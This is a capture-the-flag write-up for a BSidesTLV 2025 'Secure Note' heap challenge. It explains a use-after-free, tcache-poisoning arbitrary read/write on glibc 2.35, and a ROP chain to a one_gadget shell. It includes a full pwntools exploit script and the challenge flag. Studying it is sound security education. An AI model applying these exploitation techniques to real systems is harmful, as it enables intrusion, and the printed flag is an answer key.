---
# System prepended metadata

title: Secure Note… or is it?

---

> Challenge description:
>
> This note manager claims to be secure, but sometimes security is just an illusion. Can you prove it wrong?

> Additional details:
> Written by [Idan Strovinsky](https://www.linkedin.com/in/idan-strovinsky/)
> remote - `nc 0.cloud.chals.io 27276`

# Intro
The challenge provides two files, the challenge binary and its corresponding libc.
The libc version is glibc-2.35, which uses tcache along with the default tcache-mangling mitigation.
We also know that we won’t be able to achieve code execution (RCE) by using the malloc hooks on this libc version.

Given that, our possible goals include three straightforward paths:
1. corrupting a return address to gain control over RIP.
2. overwriting one of the IO objects vtables pointer or crafting our fake file structure (a.k.a FSOP).
3. overwriting one of the `__call_tls_dtors` entries by leaking the pointer-mangling value and forging a fake destructor.

I chose the first one (overwriting the return address), but the others would also be viable.


# Challenge menu
```txt
###############################
# WELCOME Secure Note Manager #
###############################

=====[ Menu ]=====
[1] Create note
[2] Update note
[3] Read note
[4] Delete note
[5] Archive note
[6] Restore note
[7] Purge archived
[8] Exit
>>> 
```

let’s break it down -- The first four options are basic, they allow us to create, update, delete, and read notes without restrictions. 
the last three options seems to be interesting, we can archive a note, restore it, or purge all archived notes.
The program may not handle these last three actions correctly, so they deserve further attention.

## Archive functions
We’ll explore each function on its own using the Hex-Rays decompiler and then put everything together to see what bugs we’ve got and how we can use them.
- Note: I’ve renamed some functions and variables to make the code easier to understand, so it may look slightly different from your own reversed version but the logic remains exactly the same.

### 1. Archive note
```c=
int archive_note() {
    puts("==[ Archive note ]==");
    
    int idx = get_index();
    if (idx == -1)
        return idx;    
    
    if (!notes_entries[2 * idx]) {
        puts("No note found at this index.");
        return 0;
    }

    if (archived_entries[2 * idx]) {
        free((void *)archived_entries[2 * idx]);
        archived_entries[2 * idx] = 0;
    }

    uint64_t offset = idx * 16;
    uint64_t note_size = *(uint64_t *)((char *)&notes_data + offset + 8);

    *(uint64_t *)((char *)&archived_data + offset) =
        *(uint64_t *)((char *)&notes_data + offset);

    *(uint64_t *)((char *)&archived_data + offset + 8) = note_size;

    notes_entries[offset / 8] = 0;

    puts("Note archived successfully.");
    return 0;
}
```
The function logic goes like this:

- Get index via `get_index()`. If it returns `-1`, the function just returns.
- Check if a note exists at `notes_array[2 * index]`.
If not, print: "No note found at this index."
- If an archived note already exists at this index,
free it, then set the archived slot to `NULL`.
- Copy the note from the main notes pool into the archived pool.
- Copy both the pointer and its size.
- Set the original slot in notes_array to `NULL`.

So, there isn’t anything special in this function; it seems to handle archived notes correctly, frees an old archive before archiving another note, and nothing appears buggy in it.
But we might still be able to abuse it or use it to abuse another function \ objects, so it might still be useful later.
### 2. Restore note

```c=
int restore_note() {
    puts("==[ Restore note ]==");

    int idx = get_index();
    if (idx == -1)
        return idx;

    // Check if a note already exists at this index
    if (notes_array[2 * idx]) {
        return puts("A note already exists at this index.");
    }

    // Check if there is an archived note to restore
    if (archived_entries[2 * idx]) {
        uint64_t offset = idx * 16; // Each entry has two 8-byte fields

        uint64_t meta = *(uint64_t *)((char *)&archived_pool + offset + 8);

        // Restore note pointer and metadata to main notes pool
        *(uint64_t *)((char *)&notes + offset) = *(uint64_t *)((char *)&archived_pool + offset);
        *(uint64_t *)((char *)&notes + offset + 8) = meta;

        return puts("Note restored successfully.");
    }

    return puts("No archived note found at this index.");
}
```

Generally, this function seems to be handled correctly, it checks whether a note already exists at the given index before restoring.
One interesting detail is that it __doesn’t__ remove the note from the archive pool after restoring, so the note still exists in the archived pool after this action.

### 3. Purge archived
```c=
int purge_archived() {
    puts("==[ Purge archived notes ]==");

    for (int idx = 0; idx <= 39; ++idx)
    {
        // Check if an archived note exists at this index
        if (archived_entries[2 * idx])
        {
            free((void *)archived_entries[2 * idx]);
            archived_entries[2 * idx] = 0;
        }
    }

    return puts("Archived notes purged successfully.");
}
```

This function frees all archived notes and clears their slots. 
In contrast to the `restore_note()` function, this one erases all existing archived note entries, so they cannot be restored afterward.

# Leaking xor key
Another function we haven’t mentioned yet is `generate_key()` which runs inside the `setup` routine at the start of the program. 
This key is used by the `cipher()` function which cycles over the XOR key to encrypt every newly allocated note chunk. 
Any update to a note is also encrypted before being written into the note chunk, and the same key is used to decrypt the data when reading it back.

```c=
int generate_key() {
  int fd; 

  fd = open("/dev/urandom", 0);
  if ( fd == -1 ) {
    perror("Failed to open /dev/urandom");
    exit(2);
  }
    
  if ( read(fd, key, 8uLL) != 8 ) {
    perror("Failed to read enough bytes for the key");
    exit(2);
  }
    
  return close(fd);
}
```
This function simply reads eight bytes from `/dev/urandom` into the key, so the key is fully random and cannot be guessed. 
If we want to use the read and write functions to leak or corrupt any heap metadata, we must leak it.

The way I chose to do this was to create a new note and write some bytes into it, then delete it and allocate it again after it gets placed into the tcache. 
This causes the program to XOR the data I wrote twice, once during the first create operation and again during the second create. 
After the second create, reading the note returns my original data xored with the key and by xoring that with the data I originally wrote, I can recover the XOR key itself.

```py=
def leak_key(io: process):
    note = create(io, 0, 0x28, b'a'*0x18)
    del_note(io, note)
    note = create(io, 0, 0x28)
    key = u64(read(io, note)[0x10:0x18]) ^ u64(b'a'*8)
    return key
```

- Note: I wrote `0x18` bytes instead of `0x08` because the first `0x08` bytes hold the `fd` pointer and the next `0x08` bytes store the tcache‑key value, both of which get overwritten when the chunk is freed. 
To leak the key reliably, we need our controlled 8‑byte pattern placed after these fields, so we write a total of `0x18` bytes.


Now that we’ve recovered the XOR key we can start leaking heap metadata.

# Crafting UAF primitive
According to our [restore note](#2.-Restore-note) demonstration, we can end up handling the same note pointer in both pools — the archive pool and the notes pool. 
In this situation, we can do one of two things:

- Use both functions `delete_note()` (option 4) and `purge_archived()` (option 7) to free the same note chunk twice (a free‑after‑free bug), allowing us to allocate the same note chunk twice.
- Free the note chunk once, but still retain the ability to read and write to it after it has already been freed.

The second option is more powerful and more reliable because this libc version includes a mitigation that restricts tcache‑dup style double‑free attacks. ([further reading about this heap mitigation](https://ir0nstone.gitbook.io/notes/binexp/heap/tcache-keys))

To do so, we’ll create a new note, archive it using the [archive note](#1.-Archive-note) option and delete the archived note using [purge archive](#3.-Purge-archived). 
We will then still be able to read and write to it via the notes pool because we never call `delete_note()` to remove it from there.

# Arbitrary read & write
We’ve built a strong [UAF primitive](#Crafting-UAF-primitive) that we can use to read/write‑after‑free into heap chunks.
As mentioned earlier in the [Intro](#Intro), the goal is to corrupt a return address and gain control of RIP, so the next steps are to leak libc and stack addresses using arbitrary read/write primitives. 
To do this, we need to escalate our existing primitive and make it more powerful.

The idea is to use our [UAF primitive](#Crafting-UAF-primitive) as write-after-free bug to overwrite the metadata of a freed chunk, insert a chosen address as a fake chunk into the tcache-bin, then allocate it so we can read from or write to that fake chunk.

- Note: We want to use the tcache-bin rather than the fast-bin, because tcache doesn’t enforce the same chunk‑size sanity checks, this allows us to link any 8‑byte‑aligned address into the tcache-bin.

As mentioned earlier in the [Intro](#Intro), this glibc version includes tcache mitigation against free‑after‑free bugs, so we can’t simply free the same chunk twice to link it again. 
We can link another address as a fake chunk, but we still need to bypass the per‑chunk tcache‑key mitigation, which xors the fd pointer with a key derived from the chunk’s own ASLR‑randomized address...
This means that to insert a fake chunk into a tcache bin, we must first leak the key of an existing chunk already stored in that bin. 
Once we have at least one real chunk in the target tcache-bin, we can leak its key and then overwrite its fd with our fake chunk address XORed with that key.

## Leak per-chunk key
The first part of this linking process is leaking the freed chunk’s key. 
To do that, I use the [UAF primitive](#Crafting-UAF-primitive) as a read‑after‑free to leak the key stored in the first eight bytes of the chunk’s user data.

```python=
# The `tmp` chunk will be used in the next part
tmp = create(io, 15, 0x70) 
target = create(io, 10, 0x70)

### Trigger UAF ###
archive(io, target)
restore(io, target)
purge(io)

# Read chunk key from the first eight bytes of its userdata
chk_key = u64(read(io, target)[:8]) ^ key
log.info(f"chk_key @ {hex(chk_key)}")
```

## Link fake chunk
The second part is to allocate that chunk again, free another chunk of the same size into the same tcache bin, then free the chunk whose key we already leaked and overwrite its `fd` pointer with our fake chunk address xored with that key.
This lets us allocate the a fake chunk above the memory we want to read or write into it like it is the chunk userdata.

- Note: The reason we free another chunk before freeing our target chunk (the one we want to overwrite) is because of how tcache counts work.
If only a single chunk is freed into the bin, tcache treats it as the only entry and won’t return our fake chunk during allocation.
But if there is already another chunk in the tcache bin before our target chunk, freeing the target chunk lets us overwrite its fd pointer and replace the second entry with our fake chunk address.
This makes tcache believe the fake chunk is simply the “next” freed chunk, allowing us to allocate it normally.

```python=
# Allocate the same chunk we freed during the UAF
target = create(io, 12, 0x70) 

### Trigger UAF ###
# Notice that before freeing the target chunk,
# we need another chunk already linked into the bin,
# so we first free the `tmp` chunk.
archive(io, target)
restore(io, target)
del_note(io, tmp)  # free(tmp);
purge(io)          # free(target);

fd_ow = (addr ^ (addr & 0xf))  # `fd` must be 8-byte aligned
fd_ow = fd_ow ^ chk_key        # XOR fd with the chunk key we leaked

# Bypass the program’s chunk-cipher by XORing with the same key it uses
update(io, target, p64(fd_ow ^ key))  

create(io, 13, 0x70)            # Allocate our target chunk again
overlap = create(io, 15, 0x70)  # Overlapping chunk at our target address
```


# Leaking ASLR
To leak a libc pointer from the heap we need to place a freed chunk into the unsorted-bin and then read its `fd` or `bk` pointer. 
These pointers are filled with libc addresses by the allocator, allowing us to compute the libc base address and defeat ASLR.

## Recovering Libc base
Since the program uses tcache by default, we need to choose a chunk size that is larger than the fast-bin maximum and then fill the corresponding tcache bin.
Once the tcache for that size is full, any further frees of that size will go directly into the unsorted-bin.
At that point, we can leak a libc pointer from the freed chunk’s metadata and compute the libc base address.

```clike=
pwndbg> mp
mp_ struct at: 0x7ffff7e1a360
{
  trim_threshold = 131072,
  top_pad = 131072,
  mmap_threshold = 131072,
  arena_test = 8,
  arena_max = 0,
  thp_pagesize = 0,
  hp_pagesize = 0,
  hp_flags = 0,
  n_mmaps = 0,
  n_mmaps_max = 65536,
  max_n_mmaps = 0,
  no_dyn_threshold = 0,
  mmapped_mem = 0,
  max_mmapped_mem = 0,
  sbrk_base = 0x55555555b000,
  tcache_bins = 64,
  tcache_max_bytes = 1032,
  tcache_count = 7,
  tcache_unsorted_limit = 0,
}
pwndbg> 
```

From the `mp` command output in `pwndbg`, we can see on line `21` that the `tcache_count` field is set to __7__, meaning each tcache-bin can hold up to seven chunks.
This tells us that to push a chunk of a chosen size into the unsorted-bin, we must first fill that specific tcache-bin with seven freed chunks of the same size.
Once the bin is full, the next free of that size will bypass tcache and land in the unsorted-bin.

After we’ve successfully filled the chosen tcache bin, we can use our [UAF primitive](#Crafting-UAF-primitive) to read from the eighth chunk - the one that freed into the unsorted-bin. 
This lets us leak the libc pointers stored in its `fd`/`bk` fields.

```python=
### libc leak ###
for idx in range(7):
    create(io, idx, 0xc8)

note = create(io, 7, 0xc8)  # Will be placed in the unsorted bin
guard = create(io, 0x18, 8)  # Prevent forward consolidation

for idx in range(7):  # Fill the 0xd0 tcache bin
    del_note(io, idx)

### Trigger UAF ###
archive(io, note)
restore(io, note)
purge(io)

# The key is the XOR-Key we leaked,
# we use it to decipher the `fd-pointer` returned by read.
leak_libc = u64(read(io, note)[:8]) ^ key  

# Decrease both the main_arena and unsorted‑bin offsets from the leakded fd 
# to recover the libc base address.
libc.address = leak_libc - LIBC_OFFSET 

log.info(f"libc @ {hex(libc.address)}")
```

## Leaking stack address
Since we already have a libc base address and an arbitrary-read primitive, we can use both to read the stack address stored in libcs `__environ` global variable

```python
stack_leak = arbitrary_read(io, libc.sym.__environ - 0x10, 0x18)
```

- Note: We subtract 0x10 bytes from the `__environ` address because allocating a new chunk always writes at least a `\n` byte into the userdata area, even if we don’t provide input. 
We want to avoid overwriting `__environ` before we leak it. 
We also need the target to be 8-byte aligned, so subtracting `0x10` and reading `0x18` bytes is a safe choice.

# Overwrite ret-address
This is the final step, we have a stack leak we can use to calculate the main function return address, and we have an arbitrary-write primitive to overwrite it. 
I’ll pick one of the `one_gadget` tool results and build a payload accordingly, then overwrite the main return address on the stack and exit the program using the `Exit` option from the [menu](#Challenge-menu).

The `one_gadget` constraint I chose is:
```one_gadget
0xebc88 execve("/bin/sh", rsi, rdx)
constraints:
  address rbp-0x78 is writable
  [rsi] == NULL || rsi == NULL || rsi is a valid argv
  [rdx] == NULL || rdx == NULL || rdx is a valid envp
```

So I built this payload:
```python=
### exploit ###
# One NOP padding because the arbitrary write align 8 bytes back
# and we must put there any value (8 bytes before the ret address).
payload = p64((libc.address + nop_offset) ^ key) * 1

payload += p64((libc.address + pop_rsi) ^ key) # clear rsi
payload += p64(key) # key ^ key = 0

payload += p64((libc.address + pop_rbp) ^ key) # put writeable address to rbp
payload += p64((stack + 0x200) ^ key) # writeable address

payload += p64((libc.address + pop_rdx_rbx) ^ key) # clear rdx & rbx
payload += p64(key) * 2 # key ^ key = 0

payload += p64((libc.address + one_gadget) ^ key) # execute one gadget

arbitrary_write(io, stack - 0x118, payload)

log.info("Triggering one_gadget...")
finish(io)

io.interactive() 
```

# Full exploit
```py
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from pwn import *

exe = context.binary = ELF(args.EXE or './chall')
libc =  ELF('./libc.so.6')

### config ###
host = args.HOST or '0.cloud.chals.io'
port = int(args.PORT or 27276)

### defines ###
MENU_BANNER = "=====[ Menu ]====="
LIBC_OFFSET = 0x21ace0

### globals ###
key = 0

### gadgets ###
nop_offset = 0x00000000000378df
pop_rsi = 0x000000000002be51
pop_rbp = 0x000000000002a2e0
pop_rdx_rbx = 0x00000000000904a9
one_gadget = 0xebc88

def start_local(argv=[], *a, **kw):
    '''Execute the target binary locally'''
    if args.GDB:
        return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)
    else:
        return process([exe.path] + argv, *a, **kw)

def start_remote(argv=[], *a, **kw):
    '''Connect to the process on the remote host'''
    io = connect(host, port)
    if args.GDB:
        gdb.attach(io, gdbscript=gdbscript)
    return io

def start(argv=[], *a, **kw):
    '''Start the exploit against the target.'''
    if args.LOCAL:
        return start_local(argv, *a, **kw)
    else:
        return start_remote(argv, *a, **kw)

gdbscript = '''
tbreak main
continue
'''.format(**locals())

### wrappers ###
def option(io: process, op: int):
    io.sendlineafter(">>> ", str(op))

def create(io: process, idx: int, length: int, data: str = b''):
    option(io, 1)
    io.sendlineafter("index:", str(idx))
    io.sendlineafter("length:", str(length))
    io.sendlineafter("data:", data)
    return idx

def update(io: process, idx: int, data: str):
    option(io, 2)
    io.sendlineafter("index:", str(idx))
    io.sendlineafter("data:", data)
    return idx

def read(io: process, idx: int):
    option(io, 3)
    io.sendlineafter("index:", str(idx))
    io.recvuntil(":\n")
    return io.recvuntil(MENU_BANNER)[:-1*len(MENU_BANNER)]

def del_note(io: process, idx: int):
    option(io, 4)
    io.sendlineafter("index:", str(idx))

def archive(io: process, idx: int):
    option(io, 5)
    io.sendlineafter("index:", str(idx))
    return idx

def restore(io: process, idx: int):
    option(io, 6)
    io.sendlineafter("index:", str(idx))
    return idx

def purge(io: process):
    option(io, 7)

def finish(io: process):
    option(io, 8)

### helpers ###
def leak_key(io: process):
    note = create(io, 0, 0x28, b'a'*0x18)
    del_note(io, note)
    note = create(io, 0, 0x28)
    key = u64(read(io, note)[0x10:0x18]) ^ u64(b'a'*8)

    #clean#
    del_note(io, 0)
    del_note(io, 1)
    
    return key

def arbitrary_write(io: process, addr: int, data: str):
    # The `tmp` chunk will be used in the next part
    tmp = create(io, 16, 0xf0) 
    target = create(io, 17, 0xf0)

    ### Trigger UAF ###
    archive(io, target)
    restore(io, target)
    purge(io)

    # Read chunk key from the first eight bytes of its userdata
    chk_key = u64(read(io, target)[:8]) ^ key
    log.info(f"chk_key @ {hex(chk_key)}")
    # Allocate the same chunk we freed during the UAF
    target = create(io, 18, 0xf0) 

    ### Trigger UAF ###
    # Notice that before freeing the target chunk,
    # we need another chunk already linked into the bin,
    # so we first free the `tmp` chunk.
    archive(io, target)
    restore(io, target)
    del_note(io, tmp)  # free(tmp);
    purge(io)          # free(target);

    fd_ow = (addr ^ (addr & 0xf))  # `fd` must be 8-byte aligned
    fd_ow = fd_ow ^ chk_key        # XOR fd with the chunk key we leaked

    # Bypass the program’s chunk-cipher by XORing with the same key it uses
    update(io, target, p64(fd_ow ^ key))  

    create(io, 19, 0xf0)            # Allocate our target chunk again
    overlap = create(io, 20, 0xf0, data)  # Overlapping chunk at our target address

def arbitrary_read(io: process, addr: int, length: int=8):
    # The `tmp` chunk will be used in the next part
    tmp = create(io, 15, 0x70) 
    target = create(io, 10, 0x70)

    ### Trigger UAF ###
    archive(io, target)
    restore(io, target)
    purge(io)

    # Read chunk key from the first eight bytes of its userdata
    chk_key = u64(read(io, target)[:8]) ^ key
    log.info(f"chk_key @ {hex(chk_key)}")
    # Allocate the same chunk we freed during the UAF
    target = create(io, 12, 0x70) 

    ### Trigger UAF ###
    # Notice that before freeing the target chunk,
    # we need another chunk already linked into the bin,
    # so we first free the `tmp` chunk.
    archive(io, target)
    restore(io, target)
    del_note(io, tmp)  # free(tmp);
    purge(io)          # free(target);

    fd_ow = (addr ^ (addr & 0xf))  # `fd` must be 8-byte aligned
    fd_ow = fd_ow ^ chk_key        # XOR fd with the chunk key we leaked

    # Bypass the program’s chunk-cipher by XORing with the same key it uses
    update(io, target, p64(fd_ow ^ key))  

    create(io, 13, 0x70)            # Allocate our target chunk again
    overlap = create(io, 15, 0x70)  # Overlapping chunk at our target address

    return read(io, overlap)[:length]


# -- Exploit goes here --
def main():
    global key

    ### run ###
    io = start()

    ### setup ###
    key = leak_key(io)
    log.info(f"key @ {hex(key)}")

    ### libc leak ###
    for idx in range(7):
        create(io, idx, 0xc8)

    note = create(io, 7, 0xc8)  # Will be placed in the unsorted bin
    guard = create(io, 0x18, 8)  # Prevent forward consolidation

    for idx in range(7):  # Fill the 0xd0 tcache bin
        del_note(io, idx)

    ### Trigger UAF ###
    archive(io, note)
    restore(io, note)
    purge(io)

    # The key is the XOR-Key we leaked,
    # we use it to decipher the `fd-pointer` returned by read.
    leak_libc = u64(read(io, note)[:8]) ^ key  

    # Decrease both the main_arena and unsorted‑bin offsets from the leakded fd 
    # to recover the libc base address.
    libc.address = leak_libc - LIBC_OFFSET 

    log.info(f"libc @ {hex(libc.address)}")
    
    ### stack leak ###
    stack = u64(arbitrary_read(io, libc.sym.__environ - 0x10, 0x18)[0x10:]) & 0xfffffffffffffff0
    log.info(f"stack @ {hex(stack)}")

    ### exploit ###
    # One NOP padding because the arbitrary write align 8 bytes back
    # and we must put there any value (8 bytes before the ret address).
    payload = p64((libc.address + nop_offset) ^ key) * 1

    payload += p64((libc.address + pop_rsi) ^ key) # clear rsi
    payload += p64(key) # key ^ key = 0

    payload += p64((libc.address + pop_rbp) ^ key) # put writeable address to rbp
    payload += p64((stack + 0x200) ^ key) # writeable address

    payload += p64((libc.address + pop_rdx_rbx) ^ key) # clear rdx & rbx
    payload += p64(key) * 2 # key ^ key = 0

    payload += p64((libc.address + one_gadget) ^ key) # execute one gadget

    arbitrary_write(io, stack - 0x118, payload)

    log.info("Triggering one_gadget...")
    finish(io)

    io.interactive() 


if __name__ == "__main__":
    main()
```
###### BSidesTLV2025{h34p_x0r_c4nn0t_h1d3_th3_bugs}